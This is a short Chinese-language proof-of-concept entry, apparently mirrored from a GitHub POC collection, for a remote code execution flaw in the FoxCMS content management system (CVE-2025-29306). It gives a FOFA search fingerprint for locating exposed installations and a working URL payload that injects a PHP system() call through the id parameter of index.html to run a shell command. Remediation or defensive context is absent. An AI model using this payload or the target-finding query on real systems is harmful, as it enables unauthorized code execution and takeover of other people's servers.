mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
13 lines
452 B
Markdown
13 lines
452 B
Markdown
|
# FOXCMS黔狐内容管理系统_远程代码执行漏洞(CVE-2025-29306)
|
|||
|
|
|
|||
|
|
# 漏洞简介
|
|||
|
|
FoxCMS黔狐内容管理系统存在远程代码执行漏洞（CVE-2025-29306）。该漏洞存在于FoxCMS的index.html接口中，允许攻击者通过特定的输入执行远程代码，从而控制受影响的系统。
|
|||
|
|
|
|||
|
|
# fofa
|
|||
|
|
body="foxcms-logo" || body="foxcms-container"
|
|||
|
|
|
|||
|
|
# poc
|
|||
|
|
```
|
|||
|
|
http://host/images/index.html?id=%24{%40print(system(%22id%22))
|
|||
|
|
```
|